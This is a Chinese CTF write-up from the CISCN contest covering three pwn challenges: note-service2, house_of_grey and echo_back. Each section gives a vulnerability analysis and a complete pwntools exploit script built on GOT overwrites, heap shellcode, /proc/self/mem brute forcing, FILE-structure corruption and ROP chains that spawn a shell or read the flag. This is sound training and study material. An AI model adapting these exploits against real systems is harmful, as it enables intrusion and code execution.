拖了好久才来整理全国大学生信息安全竞赛的题解,最近都在忙着DEF CON CHINA的RHG比赛的开发,虽然最后貌似只混了一件T恤… 这次比赛本来不想打的,三、四月份的比赛略多,最后趁着五一的假期,被Misty大佬召唤过来打了一天,队伍名称是Xopowo(俄语好的意思?хорошо)。
最后做出来和复现的有三道:note-service2 、 house_of_grey 、 echo_back
note-service2 这道题给出的hint是
漏洞分析 大致分析了一下题目,题目主要提供了add、delete两个函数:
可能很多人发现的是delete函数那里悬垂指针可被double free的漏洞,但是此题这个漏洞貌似并没有太大的用处,此题存在的问题是,在add函数中输入index时当index是负数或者一个大于预留数组的size可以越界写的问题 。并且,此题对got表没有开启RELRO保护,且也没有开启NX保护,这样可以输入负数,覆写got表函数地址,劫持到我们申请的堆块上去执行。换句话说这题只是一道写shellcode的题目,由于之前刷过pwnable.tw,认出了这题是Alive Note这题,这题在pwnable.tw上是32位的题目,并且限制了仅能输入0~9A~Za~z。貌似CISCN是改成了64位。
漏洞利用 具体思路我曾经写过blog: http://www.cnblogs.com/p4nda/p/7992951.html(当我发现这题的原型,在国赛期间我心机的隐藏这篇博客,然而可能并没人看...)
思路是利用malloc申请堆块的规律,虽然只能写很少的shellcode,但是可以利用jmp等跳转语句直接跳转到下一块堆块去执行,最终利用系统调用syscall拿到shell,此题我预先在第一块堆块上部署好了”/bin/sh”,劫持了free@got,此时rdi指向这个/bin/sh节省了不少步骤。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from ctypes import *debug = 0 elf = ELF('./task_note_service2_OG37AWm' ) context.update(arch = 'amd64' ) if debug: p = process('./task_note_service2_OG37AWm' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) context.log_level = 'debug' gdb.attach(p) else : p = remote('117.78.43.123' , 31128 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (index,content) : p.recvuntil('your choice>>' ) p.sendline('1' ) p.recvuntil('index' ) p.sendline(str(index)) p.recvuntil('size' ) p.sendline(str(8 )) p.recvuntil('content' ) p.send(content) add(0 ,'/bin/sh' ) add((elf.got['free' ]-0x2020A0 )/8 ,asm('xor rsi,rsi' )+'\x90\x90\xe9\x16' ) add(1 ,asm('push 0x3b\n pop rax' )+'\x90\x90\xe9\x16' ) add(2 ,asm('xor rdx,rdx' )+'\x90\x90\xe9\x16' ) add(3 ,asm('syscall' )+'\x90' *5 ) p.recvuntil('choice' ) p.sendline('4' ) p.recvuntil('index' ) p.sendline('0' ) p.interactive()
house_of_grey 漏洞分析 此题的逻辑比较复杂,在main函数中首先利用mmap函数分配了一块内存,再利用clone函数,以mmap动态分配的内存作为栈基址,具体启动了fn函数
在fn函数中首先利用系统沙箱禁止了大部分的系统调用,然后主要提供了4个函数。
漏洞存在于case 1中,在设置文件名称是存在溢出漏洞,可以覆盖v8变量,而v8正是case 4中read的第二个参数,因此总体来说存在内存任意写漏洞。
漏洞利用 首先,可以通过读/proc/self/maps来获取各程序段的内存地址,起初以为这样就可以知道全部的内存地址,包括新启动的进程栈地址。
但在实际尝试过程中,发现fn函数的栈底并不是mmap得到内存块的结束地址,而是在其内部还有随机化。
另外还在困惑,在任意写时到底应该写在哪里… w1tcher提示我最终利用exit返回,可以劫持这个流程,但是我头铁决定将case 4中的read参数劫持到read函数的返回地址处,也就是是read自身覆写自身的返回地址… 这样在read函数结束时也就返回到了通过写入的rop中。
这种想法遇到的一个问题是如何拿到随机化的栈地址?
此时想到另外一个文件/proc/self/mem,这个文件相当于程序内存的一个映射。在测试过程中发现,其栈起始地址与mmap内存块的结束地址相差了一个随机值,而这个随机值是有一定范围的:0xf000000~0xfffffff之间,是可以爆破的,而爆破的过程是,首先利用case 2的定位函数,预先设定一个读取内存地址的起始值,然后不断的向下读,由于程序栈中存在一个明显的字符串标识”/proc/self/mem”,当读到的数据中包含这个字符串时就可以判断找到了栈。
可以简单验证一下可行性,爆破的次数最多可以有24次(共可以进行30次操作,其他操作占有次数),24*100000 = 2400000 = 0x249f00 , 而可能的范围是0x1000000 其概率为0.1430511474609375,是可以接受的。
另外此题的坑点还有系统调用的限制,最终可以通过open(‘/home/ctf/flag’) read(6,buf,0x100) puts(buf)读出。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 from pwn import *from ctypes import *debug = 0 elf = ELF('./task_house_P4U73bf' ) if debug: p = process('./task_house_P4U73bf' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) context.log_level = 'debug' else : p = remote('117.78.43.123' , 32619 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) context.log_level = 'debug' p.recvuntil('Y/n' ) p.sendline('y' ) p.recvuntil('Exit' ) p.sendline('1' ) p.recvuntil('finding?' ) p.sendline('/proc/self/maps' ) p.recvuntil('Exit' ) p.sendline('3' ) p.recvuntil('get?' ) p.sendline('10000' ) p.recvuntil('something:\n' ) pie = int('0x' +p.recvuntil('-' )[:-1 ],16 ) print '[+] pie:' ,hex(pie)while 1 : a = p.recvline() if 'heap' in a: a = p.recvline() stack_start = int(a.split('-' )[0 ],16 ) stack_end = int((a.split('-' )[1 ]).split(' ' )[0 ],16 ) print '[+] stack_start:' ,hex(stack_start) print '[+] stack_end:' ,hex(stack_end) break while 1 : a = p.recvline() if 'libc' in a: libc.address = int(a.split('-' )[0 ],16 ) print '[+] system:' ,hex(libc.symbols['system' ]) break canary = 0 p.recvuntil('Exit' ) p.sendline('1' ) p.recvuntil('finding?' ) p.sendline('/proc/self/mem' ) p.recvuntil('Exit' ) p.sendline('2' ) p.recvuntil('you?' ) stack_guess = 0xf800000 p.sendline(str(stack_end - stack_guess - 24 *100000 )) print '[+] offset from ' ,hex( stack_guess + 24 *100000 ),'to' ,hex(stack_guess)print '[+] from ' ,hex(stack_end - stack_guess - 24 *100000 ),'to' ,hex(stack_end - stack_guess)for i in range(0 ,24 ): p.recvuntil('Exit' ) p.sendline('3' ) p.recvuntil('get?' ) p.sendline('100000' ) p.recvuntil('something:\n' ) tmp = p.recvuntil('1.Find ' )[:-7 ] if '/mem' in tmp: print '[+++] find' print tmp.split('/proc/self/mem' )[0 ] canary = u64(tmp.split('/proc/self/mem' )[0 ][-0x48 :-0x40 ]) break stack_address = stack_end - stack_guess - 24 *100000 + i *100000 + len(tmp.split('/proc/self/mem' )[0 ]) if canary==0 : print '[-] fail' exit(0 ) print '[+] canary :' ,hex(canary)print '[+] stack :' ,hex(stack_address)p.recvuntil('Exit' ) p.sendline('1' ) p.recvuntil('finding?' ) p.sendline('/proc/self/mem' +'\x00' *(0x18 -14 )+p64(stack_address-56 )) p.recvuntil('Exit' ) p.sendline('4' ) p.recvuntil('content' ) rop =p64(pie+0x0000000000001823 )+p64(stack_address-56 +0x100 )+p64(pie+0x0000000000001821 )+p64(0 )+p64(0 )+p64(pie+elf.symbols['open' ])+p64(pie+0x0000000000001823 )+p64(6 )+p64(pie+0x0000000000001821 )+p64(stack_address-56 +0x100 )+p64(stack_address-56 +0x100 )+p64(pie+elf.symbols['read' ])+p64(pie+0x0000000000001823 )+p64(stack_address-56 +0x100 )+p64(pie+elf.symbols['puts' ]) rop +='a' *(0x100 -len(rop)) rop += '/home/ctf/flag\0' p.sendline(rop) p.interactive() ''' hex(-0x7fb165afd580 +0x7fb174d53000) 0xf255a80 hex(-0x7f810afe4db0 + 0x7f811af62000) 0xff7d250 hex(-0x7fe3844beeb0 + 0x7fe394428000) 0xff69150 hex(-0x7f73844633a0 + 0x7f73940a9000) 0xfc45c60 0x0000000000001823 : pop rdi ; ret 0x0000000000001821 : pop rsi ; pop r15 ; ret 00000000 23 28 99 7f 32 56 00 00 20 2f 20 00 00 00 00 00 │#(··│2V··│ / ·│····│ 00000010 00 0b 00 00 00 00 00 00 23 28 99 7f 32 56 00 00 │····│····│#(··│2V··│ 00000020 70 2f 20 00 00 00 00 00 00 0b 00 00 00 00 00 00 │p/ ·│····│····│····│ 00000030 23 28 99 7f 32 56 00 00 30 2f 20 00 00 00 00 00 │#(··│2V··│0/ ·│····│ 00000040 00 0b 00 00 00 00 00 00 0a [DEBUG] Sent 0x49 bytes: 00000000 23 28 99 7f 32 56 00 00 20 2f 20 00 00 00 00 00 │#(··│2V··│ / ·│····│ 00000010 00 0b 00 00 00 00 00 00 23 28 99 7f 32 56 00 00 │····│····│#(··│2V··│ 00000020 70 2f 20 00 00 00 00 00 00 0b 00 00 00 00 00 00 │p/ ·│····│····│····│ 00000030 23 28 99 7f 32 56 00 00 30 2f 20 00 00 00 00 00 │#(··│2V··│0/ ·│····│ 00000040 00 0b 00 00 00 00 00 00 0a │····│····│·│ 00000049 [*] Switching to interactive mode : [DEBUG] Received 0x40 bytes: '/home/ctf/run.sh: line 2: 84 Segmentation fault ./house\n' /home/ctf/run.sh: line 2: 84 Segmentation fault ./house [*] Got EOF while reading in interactive $ '''
echo back 此题当时没有做出来就和本科室友出去玩了… 后来回来复现了一下
漏洞分析 总体来说题目逻辑简单,漏洞也比较明显——格式化字符串,但是格式化字符串的长度是有限制的:
首先利用格式化字符串可以泄露PIE、栈、libc地址。存在一个setname函数,可以由用户输入一个长度为7的值,由此步骤和格式化字符串漏洞,可以达到一个向任意地址写一个四字节或两字节或单字节的\x00。
向任意地址写单字节的\x00还是比较敏感的,在去年的WHCTF 2017 中出现过一道向_IO_buf_base末位写\x00的利用方法,但是给定的libc是libc-2.24.so,此题虽然给的是libc-2.23.so,同样利用这个方法。
漏洞利用 该种利用方法利用的是文件IO中的几个指针在scanf中的应用。之前针对IO的利用也写过一些,比如House of Orange,那种利用方法比较复杂,是与堆结合,之前写过一篇丢到了看雪上:https://bbs.pediy.com/thread-223334.htm 这个攻击方法没有那么复杂,但是需要读scanf的源码。
首先scanf调用了 _IO_vfscanf ,并且提供增加了操作的文件指针stdin,这个指针很熟悉,是0号文件。其结构体是:
其中红圈内的指针是本次漏洞利用主角
继续追踪_IO_vfscanf 函数,其具体实现是内联函数_IO_vfscanf_internal,其内部实现了scanf对于格式化的操作,其中比较重要的是inchar(),这个函数是读入用户输入数据的函数。此函数最终调用了_IO_new_file_underflow进行输入,这个最底层的操作。
查看函数逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 int _IO_new_file_underflow (_IO_FILE *fp) { _IO_ssize_t count; #if 0 if (fp->_flags & _IO_EOF_SEEN) return (EOF); #endif if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; if (fp->_IO_buf_base == NULL ) { if (fp->_IO_save_base != NULL ) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); } if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) { #if 0 _IO_flush_all_linebuffered (); #else _IO_acquire_lock (_IO_stdout); if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF)) _IO_OVERFLOW (_IO_stdout, EOF); _IO_release_lock (_IO_stdout); #endif } _IO_switch_to_get_mode (fp); fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base; count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0 ) { if (count == 0 ) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0 ; } fp->_IO_read_end += count; if (count == 0 ) { fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsigned char *) fp->_IO_read_ptr; } libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
当_IO_read_ptr < _IO_read_end时,函数直接返回_IO_read_ptr。反之,则会进行一系列赋值操作,最终调用read的系统调用向_IO_buf_base中读入数据。可以想到,当可以控制_IO_buf_base的值就可以达到任意地址写的目的了。
题目中可以利用是因为当覆盖为00时,指针恰好指向了stdin内部地址,并且可以再次覆写_IO_buf_base进一步造成内存任意写,而在scanf后面跟了一个getchar()函数,每次调用这个函数是会导致_IO_read_ptr++。
由于在覆写_IO_base_buf时,会造成_IO_read_end+=输入的size,不断利用getchar可以使得_IO_read_ptr逐渐增大到_IO_read_end,最终再次调用read系统调用,达到内存任意写的目的。第二次覆写_IO_buf_base的内容为函数返回地址,写入ROP即可拿到shell
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import *from ctypes import *debug = 1 elf = ELF('./echo_back' ) if debug: p = process('./echo_back' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) context.log_level = 'debug' else : p = remote('117.78.43.123' , 32619 ) libc = ELF('./libc.so.6' ) context.log_level = 'debug' def set_name (name) : p.recvuntil('choice>>' ) p.sendline('1' ) p.recvuntil('name' ) p.send(name) def echo (content) : p.recvuntil('choice>>' ) p.sendline('2' ) p.recvuntil('length:' ) p.sendline('-1' ) p.send(content) echo('%12$p\n' ) p.recvuntil('anonymous say:' ) stack_addr = int(p.recvline()[:-1 ],16 ) print '[+] stack :' ,hex(stack_addr)echo('%13$p\n' ) p.recvuntil('anonymous say:' ) pie = int(p.recvline()[:-1 ],16 )-0xd08 print '[+] pie :' ,hex(pie)echo('%19$p\n' ) p.recvuntil('anonymous say:' ) libc.address = int(p.recvline()[:-1 ],16 )-240 -libc.symbols['__libc_start_main' ] print '[+] system :' ,hex(libc.symbols['system' ])set_name(p64(libc.address + 0x3c4918 )[:-1 ]) echo('%16$hhn' ) p.recvuntil('choice>>' ) p.sendline('2' ) p.recvuntil('length:' ) padding = p64(libc.address+0x3c4963 )*3 + p64(stack_addr-0x28 )+p64(stack_addr+0x10 ) p.send(padding) p.sendline('' ) for i in range(len(padding)-1 ): p.recvuntil('choice>>' ) p.sendline('2' ) p.recvuntil('length:' ) p.sendline('' ) p.recvuntil('choice>>' ) p.sendline('2' ) p.recvuntil('length:' ) rop = p64(pie+0x0000000000000d93 )+p64(next(libc.search('/bin/sh' )))+p64(libc.symbols['system' ]) p.sendline(rop) p.sendline('' ) p.interactive() ''' Gadgets information ============================================================ 0x0000000000000d8c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000000d8e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000000d90 : pop r14 ; pop r15 ; ret 0x0000000000000d92 : pop r15 ; ret 0x0000000000000d8b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000000d8f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000000940 : pop rbp ; ret 0x0000000000000d93 : pop rdi ; ret 0x0000000000000d91 : pop rsi ; pop r15 ; ret 0x0000000000000d8d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000000861 : ret '''